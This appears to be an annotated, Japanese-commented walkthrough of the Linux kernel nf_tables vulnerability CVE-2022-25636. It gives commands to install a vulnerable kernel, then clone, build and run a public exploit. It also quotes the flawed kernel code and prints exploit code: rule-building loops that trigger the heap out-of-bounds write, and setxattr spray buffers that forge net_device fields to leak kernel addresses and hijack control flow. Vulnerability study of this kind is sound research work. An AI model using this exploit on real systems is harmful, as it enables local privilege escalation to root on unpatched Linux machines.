nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

apt-get install linux-image-5.13.0-30-generic

git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];// 領域外
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {// 渡された rule の数に基づいて num_actions を計算
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// NFT_OFFLOAD_F_ACTION フラグがある場合のみカウント

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);// num_actions の数に基づいてスペースを確保 (可変長構造体)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	// ctx->num_actions は 0 に初期化 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {// rule の数に応じて offload を呼び出す
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);// 脆弱性関数を呼び出す
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

for(int i = 0; i < legit_writes; i++) {// 以下の expr 追加では領域外書き込みは発生しない
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
// 以下の expr 追加では領域外書き込みが発生する
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];// 領域外
	entry->id = id;
	entry->dev = dev; // 固定オフセットにヒープアドレスを書き込む。dev は struct net_device 構造体
	··· ···
}

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_match {
	struct flow_dissector	*dissector;
	void			*mask;
	void			*key;
};

struct flow_dissector {
	unsigned int used_keys; /* each bit repesents presence of one key id */
	unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {// サイズ 0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
    ··· ···
    ··· ···
	free_msg(msg); 			
	··· ···
}

void free_msg(struct msg_msg *msg)
{
	··· ···
	security_msg_msg_free(msg);
	··· ···
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);
	msg->security = NULL;
}

    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex

struct net_device {
	char			name[IFNAMSIZ]; // name を変更して正しく変更されたか確認
	··· ···
	const struct net_device_ops *netdev_ops;// 初期化済み、カーネルアドレス漏洩に使用
	int			ifindex;   
	·· ···
	const struct  ethtool_ops *ethtool_ops; // rip の奪取に使用
	··· ···
	unsigned char		addr_len; // アドレス長の読み取りに使用
	··· ···
	unsigned char		*dev_addr; // 改ざんしてアドレス漏洩に使用、SIOCGIFHWADDR で読み取り
};